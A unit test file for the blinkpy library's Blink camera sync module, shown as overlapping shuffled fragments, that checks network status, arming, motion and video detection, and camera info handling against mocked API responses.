"{\"sync_module_error\": False}} self.assertTrue(self.blink.sync[\"test\"].get_network_info()) mock_resp.return_value = {\"network\": {\"sync_module_error\": True}} self.assertFalse(self.blink.sync[\"test\"].get_network_info()) def", "\"foobar123\", \"enabled\": True, \"network_id\": 1, \"thumbnail\": \"/foo/bar\", } self.blink.last_refresh =", "\"network_id\": 5678, \"serial\": \"12345678\", \"status\": \"foobar\", } }, {\"event\": True},", "self.assertFalse(sync_module.motion[\"foo\"]) sync_module.motion[\"foo\"] = True self.assertFalse(sync_module.check_new_videos()) self.assertFalse(sync_module.motion[\"foo\"]) def test_sync_start(self, mock_resp): \"\"\"Test", "{}}, ] self.blink.sync[\"test\"].network_info = {\"network\": {\"armed\": True}} def tearDown(self): \"\"\"Clean", "expected_result = { \"foo\": {\"clip\": \"/bar/foo.mp4\", \"time\": \"1990-01-01T00:00:00+00:00\"} } self.assertEqual(sync_module.last_record,", "sync_module.blink.last_refresh = 1000 self.assertTrue(sync_module.check_new_videos()) self.assertEqual(sync_module.motion, {\"foo\": True}) sync_module.network_info = {\"network\":", "} self.blink.last_refresh = None self.blink.homescreen = {\"owls\": [response]} owl =", "None self.mock_start[5] = {} self.blink.sync[\"test\"].start() self.assertEqual(self.blink.sync[\"test\"].cameras, {\"foo\": None}) def test_sync_attributes(self,", "self.assertEqual(self.blink.sync[\"test\"].network_id, 8675309) def test_unexpected_camera_info(self, mock_resp): \"\"\"Test unexpected camera info response.\"\"\"", "we mark module unavaiable if bad arm status.\"\"\" self.blink.sync[\"test\"].network_info =", "self.blink.sync[\"test\"].available = True self.assertFalse(self.blink.sync[\"test\"].get_network_info()) self.assertFalse(self.blink.sync[\"test\"].available) self.blink.sync[\"test\"].available = True mock_resp.return_value =", "\"foo\", \"media\": \"/foo/bar.mp4\", \"created_at\": \"1970-01-01T00:00:00+00:00\", }, { \"device_name\": \"foo\", \"media\":", "1234) self.assertEqual(self.blink.sync[\"test\"].network_id, 5678) self.assertEqual(self.blink.sync[\"test\"].serial, \"12345678\") self.assertEqual(self.blink.sync[\"test\"].status, \"foobar\") def test_unexpected_summary(self, mock_resp):", "None mock_resp.side_effect = self.mock_start self.blink.sync[\"test\"].start() self.assertEqual(self.blink.sync[\"test\"].cameras, {\"foo\": None}) def test_missing_camera_info(self,", "not set if module unarmed.\"\"\" mock_resp.return_value = { \"media\": [", "def test_bad_status(self, mock_resp): \"\"\"Check that we mark module unavaiable on", "self.assertFalse(self.blink.sync[\"test\"].get_network_info()) def test_get_network_info_failure(self, mock_resp): \"\"\"Test failed network retrieval.\"\"\" mock_resp.return_value =", "{\"foo\": True}) mock_resp.return_value = {\"media\": []} self.assertTrue(sync_module.check_new_videos()) self.assertEqual(sync_module.motion, {\"foo\": False})", "self.mock_start self.assertFalse(self.blink.sync[\"test\"].start()) def test_summary_with_no_network_id(self, mock_resp): \"\"\"Test handling of bad summary.\"\"\"", "old date.\"\"\" mock_resp.return_value = { \"media\": [ { \"device_name\": \"foo\",", "and system functions.\"\"\" import unittest from unittest import mock from", "is not set if module unarmed.\"\"\" mock_resp.return_value = { \"media\":", "retrieval.\"\"\" mock_resp.return_value = {} self.blink.sync[\"test\"].available = True self.assertFalse(self.blink.sync[\"test\"].get_network_info()) self.assertFalse(self.blink.sync[\"test\"].available) self.blink.sync[\"test\"].available", "sync_module = self.blink.sync[\"test\"] sync_module.cameras = {\"foo\": None} sync_module.motion[\"foo\"] = True", "= {} self.blink.sync[\"test\"].start() self.assertEqual(self.blink.sync[\"test\"].cameras, {\"foo\": None}) def test_sync_attributes(self, mock_resp): \"\"\"Test", "sync_module.cameras = {\"foo\": None} sync_module.blink.last_refresh = 1000 self.assertTrue(sync_module.check_new_videos()) self.assertEqual(sync_module.motion, {\"foo\":", "\"\"\"Check that we mark module unavaiable if bad arm status.\"\"\"", "{\"foo\": True}) sync_module.network_info = {\"network\": {\"armed\": False}} self.assertTrue(sync_module.check_new_videos()) self.assertEqual(sync_module.motion, {\"foo\":", "self.blink.last_refresh = None self.assertFalse(sync_module.check_new_videos()) def test_check_new_videos(self, mock_resp): \"\"\"Test recent video", "[ { \"syncmodule\": { \"id\": 1234, \"network_id\": 5678, \"serial\": \"12345678\",", "self.mock_start self.assertFalse(self.blink.sync[\"test\"].start()) def test_summary_with_only_network_id(self, mock_resp): \"\"\"Test handling of sparse summary.\"\"\"", "None, {\"devicestatus\": {}}, ] self.blink.sync[\"test\"].network_info = {\"network\": {\"armed\": True}} def", "self.assertFalse(sync_module.motion[\"foo\"]) def test_sync_start(self, mock_resp): \"\"\"Test sync start function.\"\"\" mock_resp.side_effect =", "self.mock_start[5] = {} self.blink.sync[\"test\"].start() self.assertEqual(self.blink.sync[\"test\"].cameras, {\"foo\": None}) def test_sync_attributes(self, mock_resp):", "mock_resp.return_value = { \"media\": [ { \"device_name\": \"foo\", \"media\": \"/foo/bar.mp4\",", "summary.\"\"\" self.mock_start[0][\"syncmodule\"] = None mock_resp.side_effect = self.mock_start self.assertFalse(self.blink.sync[\"test\"].start()) def test_summary_with_only_network_id(self,", "get camera info function.\"\"\" mock_resp.return_value = None self.assertEqual(self.blink.sync[\"test\"].get_camera_info(\"1\"), {}) mock_resp.return_value", "function.\"\"\" mock_resp.return_value = None self.assertEqual(self.blink.sync[\"test\"].get_camera_info(\"1\"), {}) mock_resp.return_value = {} self.assertEqual(self.blink.sync[\"test\"].get_camera_info(\"1\"),", "mock_resp): \"\"\"Test network retrieval.\"\"\" mock_resp.return_value = {\"network\": {\"sync_module_error\": False}} self.assertTrue(self.blink.sync[\"test\"].get_network_info())", "block startup.\"\"\" sync_module = self.blink.sync[\"test\"] self.blink.last_refresh = None self.assertFalse(sync_module.check_new_videos()) def", "[]) self.camera = BlinkCamera(self.blink.sync) self.mock_start = [ { \"syncmodule\": {", "self.assertEqual(self.blink.sync[\"test\"].name, \"test\") self.assertEqual(self.blink.sync[\"test\"].sync_id, 1234) self.assertEqual(self.blink.sync[\"test\"].network_id, 5678) self.assertEqual(self.blink.sync[\"test\"].serial, \"12345678\") self.assertEqual(self.blink.sync[\"test\"].status, \"foobar\")", "\"foo\", \"media\": \"/bar/foo.mp4\", \"created_at\": \"1990-01-01T00:00:00+00:00\", }, { \"device_name\": \"foo\", \"media\":", "\"media\": \"/foo/bar.mp4\", \"created_at\": \"1970-01-01T00:00:00+00:00\", }, { \"device_name\": \"foo\", \"media\": \"/bar/foo.mp4\",", "None self.blink.sync[\"test\"].available = True self.assertEqual(self.blink.sync[\"test\"].arm, None) self.assertFalse(self.blink.sync[\"test\"].available) self.blink.sync[\"test\"].network_info = {}", "up after test.\"\"\" self.blink = None self.camera = None self.mock_start", "{}, None, {\"devicestatus\": {}}, ] self.blink.sync[\"test\"].network_info = {\"network\": {\"armed\": True}}", "= self.mock_start self.assertFalse(self.blink.sync[\"test\"].start()) def test_summary_with_only_network_id(self, mock_resp): \"\"\"Test handling of sparse", "= None mock_resp.side_effect = self.mock_start self.assertFalse(self.blink.sync[\"test\"].start()) def test_summary_with_no_network_id(self, mock_resp): \"\"\"Test", "unavaiable if bad arm status.\"\"\" self.blink.sync[\"test\"].network_info = None self.blink.sync[\"test\"].available =", "self.assertTrue(sync_module.check_new_videos()) self.assertEqual(sync_module.motion, {\"foo\": True}) expected_result = { \"foo\": {\"clip\": \"/bar/foo.mp4\",", "sync start function.\"\"\" mock_resp.side_effect = self.mock_start self.blink.sync[\"test\"].start() self.assertEqual(self.blink.sync[\"test\"].name, \"test\") self.assertEqual(self.blink.sync[\"test\"].sync_id,", "\"1970-01-01T00:00:00+00:00\", }, { \"device_name\": \"foo\", \"media\": \"/bar/foo.mp4\", \"created_at\": \"1990-01-01T00:00:00+00:00\", },", "= {} self.assertFalse(self.blink.sync[\"test\"].get_events()) def test_get_camera_info(self, mock_resp): \"\"\"Test get camera info", "self.assertEqual(self.blink.sync[\"test\"].status, \"foobar\") def test_unexpected_summary(self, mock_resp): \"\"\"Test unexpected summary response.\"\"\" self.mock_start[0]", "camera instantiation.\"\"\" response = { \"name\": \"foo\", \"id\": 2, \"serial\":", "sync_module.blink.last_refresh = 0 self.assertEqual(sync_module.motion, {}) self.assertTrue(sync_module.check_new_videos()) self.assertEqual( sync_module.last_record[\"foo\"], {\"clip\": \"/foo/bar.mp4\",", "sync_module = self.blink.sync[\"test\"] sync_module.cameras = {\"foo\": None} sync_module.blink.last_refresh = 0", "\"/foo/bar\", } self.blink.last_refresh = None self.blink.homescreen = {\"owls\": [response]} owl", "= {\"camera\": None} self.assertEqual(self.blink.sync[\"test\"].get_camera_info(\"1\"), {}) def test_get_network_info(self, mock_resp): \"\"\"Test network", "mock_resp): \"\"\"Test handling of failed get camera info function.\"\"\" mock_resp.return_value", "\"1990-01-01T00:00:00+00:00\", }, { \"device_name\": \"foo\", \"media\": \"/foobar.mp4\", \"created_at\": \"1970-01-01T00:00:01+00:00\", },", "test_get_events_fail(self, mock_resp): \"\"\"Test handling of failed get events function.\"\"\" mock_resp.return_value", "detection is not set if module unarmed.\"\"\" mock_resp.return_value = {", "BlinkCameraMini @mock.patch(\"blinkpy.auth.Auth.query\") class TestBlinkSyncModule(unittest.TestCase): \"\"\"Test BlinkSyncModule functions in blinkpy.\"\"\" def", "def test_bad_arm(self, mock_resp): \"\"\"Check that we mark module unavaiable if", "{ \"device_name\": \"foo\", \"media\": \"/foo/bar.mp4\", \"created_at\": \"1990-01-01T00:00:00+00:00\", } ] }", "self.blink.urls = BlinkURLHandler(\"test\") self.blink.sync[\"test\"] = BlinkSyncModule(self.blink, \"test\", \"1234\", []) self.camera", "= BlinkCamera(self.blink.sync) self.mock_start = [ { \"syncmodule\": { \"id\": 1234,", "= {\"network\": {\"armed\": False}} self.assertTrue(sync_module.check_new_videos()) self.assertEqual(sync_module.motion, {\"foo\": False}) def test_check_multiple_videos(self,", "camera info response.\"\"\" self.blink.sync[\"test\"].cameras[\"foo\"] = None self.mock_start[5] = None mock_resp.side_effect", "\"media\": \"/bar/foo.mp4\", \"created_at\": \"1990-01-01T00:00:00+00:00\", }, { \"device_name\": \"foo\", \"media\": \"/foobar.mp4\",", "\"\"\"Test get camera info function.\"\"\" mock_resp.return_value = {\"camera\": [\"foobar\"]} self.assertEqual(self.blink.sync[\"test\"].get_camera_info(\"1234\"),", "mock_resp): \"\"\"Test owl camera instantiation.\"\"\" response = { \"name\": \"foo\",", "\"\"\"Test that motion detection is not set if module unarmed.\"\"\"", "camera and system functions.\"\"\" import unittest from unittest import mock", "\"foobar\") def test_get_camera_info_fail(self, mock_resp): \"\"\"Test handling of failed get camera", "mock_resp.side_effect = self.mock_start self.assertFalse(self.blink.sync[\"test\"].start()) def test_summary_with_no_network_id(self, mock_resp): \"\"\"Test handling of", "True}} def tearDown(self): \"\"\"Clean up after test.\"\"\" self.blink = None", "False}) def test_check_multiple_videos(self, mock_resp): \"\"\"Test motion found even with multiple", "from blinkpy.blinkpy import Blink from blinkpy.helpers.util import BlinkURLHandler from blinkpy.sync_module", "def test_get_events(self, mock_resp): \"\"\"Test get events function.\"\"\" mock_resp.return_value = {\"event\":", "\"foo\", \"media\": \"/foobar.mp4\", \"created_at\": \"1970-01-01T00:00:01+00:00\", }, ] } sync_module =", "Blink from blinkpy.helpers.util import BlinkURLHandler from blinkpy.sync_module import BlinkSyncModule, BlinkOwl", "found even with multiple videos.\"\"\" mock_resp.return_value = { \"media\": [", "self.assertEqual(self.blink.sync[\"test\"].cameras, {\"foo\": None}) def test_missing_camera_info(self, mock_resp): \"\"\"Test missing key from", "= None self.blink.homescreen = {\"owls\": [response]} owl = BlinkOwl(self.blink, \"foo\",", "self.assertEqual(self.blink.sync[\"test\"].get_camera_info(\"1234\"), \"foobar\") def test_get_camera_info_fail(self, mock_resp): \"\"\"Test handling of failed get", "{ \"device_name\": \"foo\", \"media\": \"/foo/bar.mp4\", \"created_at\": \"1970-01-01T00:00:00+00:00\", }, { \"device_name\":", "{\"owls\": [response]} owl = BlinkOwl(self.blink, \"foo\", 1234, response) self.assertTrue(owl.start()) self.assertTrue(\"foo\"", "\"/bar/foo.mp4\", \"time\": \"1990-01-01T00:00:00+00:00\"} } self.assertEqual(sync_module.last_record, expected_result) def test_check_new_videos_failed(self, mock_resp): \"\"\"Test", "{} self.blink.sync[\"test\"].available = True self.assertFalse(self.blink.sync[\"test\"].get_network_info()) self.assertFalse(self.blink.sync[\"test\"].available) self.blink.sync[\"test\"].available = True mock_resp.return_value", "of failed get events function.\"\"\" mock_resp.return_value = None self.assertFalse(self.blink.sync[\"test\"].get_events()) mock_resp.return_value", "8675309) def test_unexpected_camera_info(self, mock_resp): \"\"\"Test unexpected camera info response.\"\"\" self.blink.sync[\"test\"].cameras[\"foo\"]", ") self.assertEqual(sync_module.motion, {\"foo\": True}) mock_resp.return_value = {\"media\": []} self.assertTrue(sync_module.check_new_videos()) self.assertEqual(sync_module.motion,", "status.\"\"\" self.blink.sync[\"test\"].network_info = None self.blink.sync[\"test\"].available = True self.assertEqual(self.blink.sync[\"test\"].arm, None) self.assertFalse(self.blink.sync[\"test\"].available)", "None) self.assertFalse(self.blink.sync[\"test\"].available) self.blink.sync[\"test\"].network_info = {} self.blink.sync[\"test\"].available = True self.assertEqual(self.blink.sync[\"test\"].arm, None)", "self.assertEqual(sync_module.motion, {\"foo\": True}) mock_resp.return_value = {\"media\": []} self.assertTrue(sync_module.check_new_videos()) self.assertEqual(sync_module.motion, {\"foo\":", "5678, \"serial\": \"12345678\", \"status\": \"foobar\", } }, {\"event\": True}, {},", "test_sync_start(self, mock_resp): \"\"\"Test sync start function.\"\"\" mock_resp.side_effect = self.mock_start self.blink.sync[\"test\"].start()", "= self.mock_start self.assertFalse(self.blink.sync[\"test\"].start()) def test_summary_with_no_network_id(self, mock_resp): \"\"\"Test handling of bad", "def test_get_network_info_failure(self, mock_resp): \"\"\"Test failed network retrieval.\"\"\" mock_resp.return_value = {}", "BlinkURLHandler(\"test\") self.blink.sync[\"test\"] = BlinkSyncModule(self.blink, \"test\", \"1234\", []) self.camera = BlinkCamera(self.blink.sync)", "\"\"\"Test videos return response with old date.\"\"\" mock_resp.return_value = {", "import Blink from blinkpy.helpers.util import BlinkURLHandler from blinkpy.sync_module import BlinkSyncModule,", "mock_resp.return_value = {\"media\": []} self.assertTrue(sync_module.check_new_videos()) self.assertEqual(sync_module.motion, {\"foo\": False}) self.assertEqual( sync_module.last_record[\"foo\"],", "{ \"media\": [ { \"device_name\": \"foo\", \"media\": \"/foo/bar.mp4\", \"created_at\": \"1970-01-01T00:00:00+00:00\",", "mock_resp): \"\"\"Test sync start function.\"\"\" mock_resp.side_effect = self.mock_start self.blink.sync[\"test\"].start() self.assertEqual(self.blink.sync[\"test\"].name,", "import BlinkURLHandler from blinkpy.sync_module import BlinkSyncModule, BlinkOwl from blinkpy.camera import", "owl camera instantiation.\"\"\" response = { \"name\": \"foo\", \"id\": 2,", "self.blink.last_refresh = 0 self.blink.urls = BlinkURLHandler(\"test\") self.blink.sync[\"test\"] = BlinkSyncModule(self.blink, \"test\",", "events function.\"\"\" mock_resp.return_value = {\"event\": True} self.assertEqual(self.blink.sync[\"test\"].get_events(), True) def test_get_events_fail(self,", "retrieval.\"\"\" mock_resp.return_value = {\"network\": {\"sync_module_error\": False}} self.assertTrue(self.blink.sync[\"test\"].get_network_info()) mock_resp.return_value = {\"network\":", "mock_resp): \"\"\"Test sync attributes.\"\"\" self.assertEqual(self.blink.sync[\"test\"].attributes[\"name\"], \"test\") self.assertEqual(self.blink.sync[\"test\"].attributes[\"network_id\"], \"1234\") def test_owl_start(self,", "sync_module.last_record[\"foo\"], {\"clip\": \"/foo/bar.mp4\", \"time\": \"1990-01-01T00:00:00+00:00\"}, ) self.assertEqual(sync_module.motion, {\"foo\": True}) mock_resp.return_value", "test_get_events(self, mock_resp): \"\"\"Test get events function.\"\"\" mock_resp.return_value = {\"event\": True}", "{}) self.assertTrue(sync_module.check_new_videos()) self.assertEqual( sync_module.last_record[\"foo\"], {\"clip\": \"/foo/bar.mp4\", \"time\": \"1990-01-01T00:00:00+00:00\"}, ) self.assertEqual(sync_module.motion,", "None}) def test_sync_attributes(self, mock_resp): \"\"\"Test sync attributes.\"\"\" self.assertEqual(self.blink.sync[\"test\"].attributes[\"name\"], \"test\") self.assertEqual(self.blink.sync[\"test\"].attributes[\"network_id\"],", "= self.blink.sync[\"test\"] self.blink.last_refresh = None self.assertFalse(sync_module.check_new_videos()) def test_check_new_videos(self, mock_resp): \"\"\"Test", "{ \"device_name\": \"foo\", \"media\": \"/foo/bar.mp4\", \"created_at\": \"1970-01-01T00:00:00+00:00\", } ] }", "test_summary_with_no_network_id(self, mock_resp): \"\"\"Test handling of bad summary.\"\"\" self.mock_start[0][\"syncmodule\"] = None", "sync attributes.\"\"\" self.assertEqual(self.blink.sync[\"test\"].attributes[\"name\"], \"test\") self.assertEqual(self.blink.sync[\"test\"].attributes[\"network_id\"], \"1234\") def test_owl_start(self, mock_resp): \"\"\"Test", "{ \"name\": \"foo\", \"id\": 2, \"serial\": \"foobar123\", \"enabled\": True, \"network_id\":", "{}) mock_resp.return_value = {\"camera\": None} self.assertEqual(self.blink.sync[\"test\"].get_camera_info(\"1\"), {}) def test_get_network_info(self, mock_resp):", "response = { \"name\": \"foo\", \"id\": 2, \"serial\": \"foobar123\", \"enabled\":", "}, { \"device_name\": \"foo\", \"media\": \"/bar/foo.mp4\", \"created_at\": \"1990-01-01T00:00:00+00:00\", }, {", "\"foobar\", } }, {\"event\": True}, {}, {}, None, {\"devicestatus\": {}},", "= None self.assertFalse(self.blink.sync[\"test\"].get_events()) mock_resp.return_value = {} self.assertFalse(self.blink.sync[\"test\"].get_events()) def test_get_camera_info(self, mock_resp):", "None self.assertFalse(sync_module.check_new_videos()) def test_check_new_videos(self, mock_resp): \"\"\"Test recent video response.\"\"\" mock_resp.return_value", "\"1970-01-01T00:00:00+00:00\", } ] } sync_module = self.blink.sync[\"test\"] sync_module.cameras = {\"foo\":", "= self.mock_start self.blink.sync[\"test\"].start() self.assertEqual(self.blink.sync[\"test\"].name, \"test\") self.assertEqual(self.blink.sync[\"test\"].sync_id, 1234) self.assertEqual(self.blink.sync[\"test\"].network_id, 5678) self.assertEqual(self.blink.sync[\"test\"].serial,", "self.mock_start[0][\"syncmodule\"] = None mock_resp.side_effect = self.mock_start self.assertFalse(self.blink.sync[\"test\"].start()) def test_summary_with_only_network_id(self, mock_resp):", "\"\"\"Test method when response is unexpected.\"\"\" mock_resp.side_effect = [None, \"just", "owl = BlinkOwl(self.blink, \"foo\", 1234, response) self.assertTrue(owl.start()) self.assertTrue(\"foo\" in owl.cameras)", "\"created_at\": \"1970-01-01T00:00:00+00:00\", }, { \"device_name\": \"foo\", \"media\": \"/bar/foo.mp4\", \"created_at\": \"1990-01-01T00:00:00+00:00\",", "= { \"foo\": {\"clip\": \"/bar/foo.mp4\", \"time\": \"1990-01-01T00:00:00+00:00\"} } self.assertEqual(sync_module.last_record, expected_result)", "test_bad_arm(self, mock_resp): \"\"\"Check that we mark module unavaiable if bad", "we mark module unavaiable on bad status.\"\"\" self.blink.sync[\"test\"].status = None", "test_bad_status(self, mock_resp): \"\"\"Check that we mark module unavaiable on bad", "{\"foo\": None} sync_module.blink.last_refresh = 1000 self.assertTrue(sync_module.check_new_videos()) self.assertEqual(sync_module.motion, {\"foo\": False}) def", "self.assertFalse(self.blink.sync[\"test\"].get_network_info()) self.assertFalse(self.blink.sync[\"test\"].available) self.blink.sync[\"test\"].available = True mock_resp.return_value = None self.assertFalse(self.blink.sync[\"test\"].get_network_info()) self.assertFalse(self.blink.sync[\"test\"].available)", "test_check_new_videos(self, mock_resp): \"\"\"Test recent video response.\"\"\" mock_resp.return_value = { \"media\":", "\"created_at\": \"1990-01-01T00:00:00+00:00\", } ] } sync_module = self.blink.sync[\"test\"] sync_module.cameras =", "] } sync_module = self.blink.sync[\"test\"] sync_module.cameras = {\"foo\": None} sync_module.blink.last_refresh", "True self.assertFalse(self.blink.sync[\"test\"].online) self.assertFalse(self.blink.sync[\"test\"].available) def test_bad_arm(self, mock_resp): \"\"\"Check that we mark", "unavaiable on bad status.\"\"\" self.blink.sync[\"test\"].status = None self.blink.sync[\"test\"].available = True", "mock_resp.return_value = {\"camera\": [\"foobar\"]} self.assertEqual(self.blink.sync[\"test\"].get_camera_info(\"1234\"), \"foobar\") def test_get_camera_info_fail(self, mock_resp): \"\"\"Test", "self.mock_start[5] = None mock_resp.side_effect = self.mock_start self.blink.sync[\"test\"].start() self.assertEqual(self.blink.sync[\"test\"].cameras, {\"foo\": None})", "def test_owl_start(self, mock_resp): \"\"\"Test owl camera instantiation.\"\"\" response = {", "self.blink.sync[\"test\"].available = True self.assertEqual(self.blink.sync[\"test\"].arm, None) self.assertFalse(self.blink.sync[\"test\"].available) def test_get_events(self, mock_resp): \"\"\"Test", "self.assertEqual(sync_module.motion, {\"foo\": True}) expected_result = { \"foo\": {\"clip\": \"/bar/foo.mp4\", \"time\":", "= [ { \"syncmodule\": { \"id\": 1234, \"network_id\": 5678, \"serial\":", "= None self.mock_start[5] = {} self.blink.sync[\"test\"].start() self.assertEqual(self.blink.sync[\"test\"].cameras, {\"foo\": None}) def", "mock_resp.return_value = {} self.blink.sync[\"test\"].available = True self.assertFalse(self.blink.sync[\"test\"].get_network_info()) self.assertFalse(self.blink.sync[\"test\"].available) self.blink.sync[\"test\"].available =", "mock_resp): \"\"\"Test videos return response with old date.\"\"\" mock_resp.return_value =", "{\"armed\": False}} self.assertTrue(sync_module.check_new_videos()) self.assertEqual(sync_module.motion, {\"foo\": False}) def test_check_multiple_videos(self, mock_resp): \"\"\"Test", "test_check_new_videos_failed(self, mock_resp): \"\"\"Test method when response is unexpected.\"\"\" mock_resp.side_effect =", "{\"devicestatus\": {}}, ] self.blink.sync[\"test\"].network_info = {\"network\": {\"armed\": True}} def tearDown(self):", "info function.\"\"\" mock_resp.return_value = None self.assertEqual(self.blink.sync[\"test\"].get_camera_info(\"1\"), {}) mock_resp.return_value = {}", "set if module unarmed.\"\"\" mock_resp.return_value = { \"media\": [ {", "\"media\": \"/foo/bar.mp4\", \"created_at\": \"1990-01-01T00:00:00+00:00\", } ] } sync_module = self.blink.sync[\"test\"]", "True, \"network_id\": 1, \"thumbnail\": \"/foo/bar\", } self.blink.last_refresh = None self.blink.homescreen", "2, \"serial\": \"foobar123\", \"enabled\": True, \"network_id\": 1, \"thumbnail\": \"/foo/bar\", }", "mock_resp): \"\"\"Test unexpected summary response.\"\"\" self.mock_start[0] = None mock_resp.side_effect =", "{\"network\": {\"sync_module_error\": False}} self.assertTrue(self.blink.sync[\"test\"].get_network_info()) mock_resp.return_value = {\"network\": {\"sync_module_error\": True}} self.assertFalse(self.blink.sync[\"test\"].get_network_info())", "function.\"\"\" mock_resp.side_effect = self.mock_start self.blink.sync[\"test\"].start() self.assertEqual(self.blink.sync[\"test\"].name, \"test\") self.assertEqual(self.blink.sync[\"test\"].sync_id, 1234) self.assertEqual(self.blink.sync[\"test\"].network_id,", "self.blink.sync[\"test\"] self.blink.last_refresh = None self.assertFalse(sync_module.check_new_videos()) def test_check_new_videos(self, mock_resp): \"\"\"Test recent", "def test_check_new_videos_startup(self, mock_resp): \"\"\"Test that check_new_videos does not block startup.\"\"\"", "summary response.\"\"\" self.mock_start[0] = None mock_resp.side_effect = self.mock_start self.assertFalse(self.blink.sync[\"test\"].start()) def", "{}] sync_module = self.blink.sync[\"test\"] sync_module.cameras = {\"foo\": None} sync_module.motion[\"foo\"] =", "unexpected.\"\"\" mock_resp.side_effect = [None, \"just a string\", {}] sync_module =", "= {\"event\": True} self.assertEqual(self.blink.sync[\"test\"].get_events(), True) def test_get_events_fail(self, mock_resp): \"\"\"Test handling", "\"media\": [ { \"device_name\": \"foo\", \"media\": \"/foo/bar.mp4\", \"created_at\": \"1970-01-01T00:00:00+00:00\", },", "None} sync_module.blink.last_refresh = 1000 self.assertTrue(sync_module.check_new_videos()) self.assertEqual(sync_module.motion, {\"foo\": True}) sync_module.network_info =", "handling of sparse summary.\"\"\" self.mock_start[0][\"syncmodule\"] = {\"network_id\": 8675309} mock_resp.side_effect =", "mark module unavaiable if bad arm status.\"\"\" self.blink.sync[\"test\"].network_info = None", "self.blink.sync[\"test\"].start() self.assertEqual(self.blink.sync[\"test\"].cameras, {\"foo\": None}) def test_missing_camera_info(self, mock_resp): \"\"\"Test missing key", "[ { \"device_name\": \"foo\", \"media\": \"/foo/bar.mp4\", \"created_at\": \"1970-01-01T00:00:00+00:00\", }, {", "date.\"\"\" mock_resp.return_value = { \"media\": [ { \"device_name\": \"foo\", \"media\":", "= {\"network\": {\"armed\": True}} def tearDown(self): \"\"\"Clean up after test.\"\"\"", "if bad arm status.\"\"\" self.blink.sync[\"test\"].network_info = None self.blink.sync[\"test\"].available = True", "when response is unexpected.\"\"\" mock_resp.side_effect = [None, \"just a string\",", "mock_resp.return_value = {\"camera\": None} self.assertEqual(self.blink.sync[\"test\"].get_camera_info(\"1\"), {}) def test_get_network_info(self, mock_resp): \"\"\"Test", "test_get_network_info(self, mock_resp): \"\"\"Test network retrieval.\"\"\" mock_resp.return_value = {\"network\": {\"sync_module_error\": False}}", "{\"clip\": \"/foo/bar.mp4\", \"time\": \"1990-01-01T00:00:00+00:00\"}, ) def test_check_new_videos_old_date(self, mock_resp): \"\"\"Test videos", "mock_resp): \"\"\"Test handling of bad summary.\"\"\" self.mock_start[0][\"syncmodule\"] = None mock_resp.side_effect", "= BlinkOwl(self.blink, \"foo\", 1234, response) self.assertTrue(owl.start()) self.assertTrue(\"foo\" in owl.cameras) self.assertEqual(owl.cameras[\"foo\"].__class__,", "self.camera = None self.mock_start = None def test_bad_status(self, mock_resp): \"\"\"Check", "= 0 self.assertEqual(sync_module.motion, {}) self.assertTrue(sync_module.check_new_videos()) self.assertEqual( sync_module.last_record[\"foo\"], {\"clip\": \"/foo/bar.mp4\", \"time\":", "def test_unexpected_camera_info(self, mock_resp): \"\"\"Test unexpected camera info response.\"\"\" self.blink.sync[\"test\"].cameras[\"foo\"] =", "self.assertFalse(self.blink.sync[\"test\"].available) self.blink.sync[\"test\"].available = True mock_resp.return_value = None self.assertFalse(self.blink.sync[\"test\"].get_network_info()) self.assertFalse(self.blink.sync[\"test\"].available) def", "{\"foo\": None}) def test_sync_attributes(self, mock_resp): \"\"\"Test sync attributes.\"\"\" self.assertEqual(self.blink.sync[\"test\"].attributes[\"name\"], \"test\")", "1000 self.assertTrue(sync_module.check_new_videos()) self.assertEqual(sync_module.motion, {\"foo\": True}) sync_module.network_info = {\"network\": {\"armed\": False}}", "self.blink.homescreen = {\"owls\": [response]} owl = BlinkOwl(self.blink, \"foo\", 1234, response)", "= None self.assertFalse(sync_module.check_new_videos()) def test_check_new_videos(self, mock_resp): \"\"\"Test recent video response.\"\"\"", "[]} self.assertTrue(sync_module.check_new_videos()) self.assertEqual(sync_module.motion, {\"foo\": False}) self.assertEqual( sync_module.last_record[\"foo\"], {\"clip\": \"/foo/bar.mp4\", \"time\":", "mock_resp.return_value = None self.assertFalse(self.blink.sync[\"test\"].get_events()) mock_resp.return_value = {} self.assertFalse(self.blink.sync[\"test\"].get_events()) def test_get_camera_info(self,", "unarmed.\"\"\" mock_resp.return_value = { \"media\": [ { \"device_name\": \"foo\", \"media\":", "= None mock_resp.side_effect = self.mock_start self.blink.sync[\"test\"].start() self.assertEqual(self.blink.sync[\"test\"].cameras, {\"foo\": None}) def", "of sparse summary.\"\"\" self.mock_start[0][\"syncmodule\"] = {\"network_id\": 8675309} mock_resp.side_effect = self.mock_start", "expected_result) def test_check_new_videos_failed(self, mock_resp): \"\"\"Test method when response is unexpected.\"\"\"", "self.assertEqual(self.blink.sync[\"test\"].network_id, 5678) self.assertEqual(self.blink.sync[\"test\"].serial, \"12345678\") self.assertEqual(self.blink.sync[\"test\"].status, \"foobar\") def test_unexpected_summary(self, mock_resp): \"\"\"Test", "= {\"foo\": None} sync_module.blink.last_refresh = 1000 self.assertTrue(sync_module.check_new_videos()) self.assertEqual(sync_module.motion, {\"foo\": False})", "with multiple videos.\"\"\" mock_resp.return_value = { \"media\": [ { \"device_name\":", "BlinkURLHandler from blinkpy.sync_module import BlinkSyncModule, BlinkOwl from blinkpy.camera import BlinkCamera,", "response is unexpected.\"\"\" mock_resp.side_effect = [None, \"just a string\", {}]", "\"test\") self.assertEqual(self.blink.sync[\"test\"].attributes[\"network_id\"], \"1234\") def test_owl_start(self, mock_resp): \"\"\"Test owl camera instantiation.\"\"\"", "\"thumbnail\": \"/foo/bar\", } self.blink.last_refresh = None self.blink.homescreen = {\"owls\": [response]}", "is unexpected.\"\"\" mock_resp.side_effect = [None, \"just a string\", {}] sync_module", "mark module unavaiable on bad status.\"\"\" self.blink.sync[\"test\"].status = None self.blink.sync[\"test\"].available", "None self.camera = None self.mock_start = None def test_bad_status(self, mock_resp):", "None} sync_module.blink.last_refresh = 1000 self.assertTrue(sync_module.check_new_videos()) self.assertEqual(sync_module.motion, {\"foo\": False}) def test_check_no_motion_if_not_armed(self,", "= 1000 self.assertTrue(sync_module.check_new_videos()) self.assertEqual(sync_module.motion, {\"foo\": False}) def test_check_no_motion_if_not_armed(self, mock_resp): \"\"\"Test", "self.assertFalse(sync_module.check_new_videos()) self.assertFalse(sync_module.motion[\"foo\"]) def test_sync_start(self, mock_resp): \"\"\"Test sync start function.\"\"\" mock_resp.side_effect", "<reponame>naveengh6/blinkpy \"\"\"Tests camera and system functions.\"\"\" import unittest from unittest", "arm status.\"\"\" self.blink.sync[\"test\"].network_info = None self.blink.sync[\"test\"].available = True self.assertEqual(self.blink.sync[\"test\"].arm, None)", "unittest from 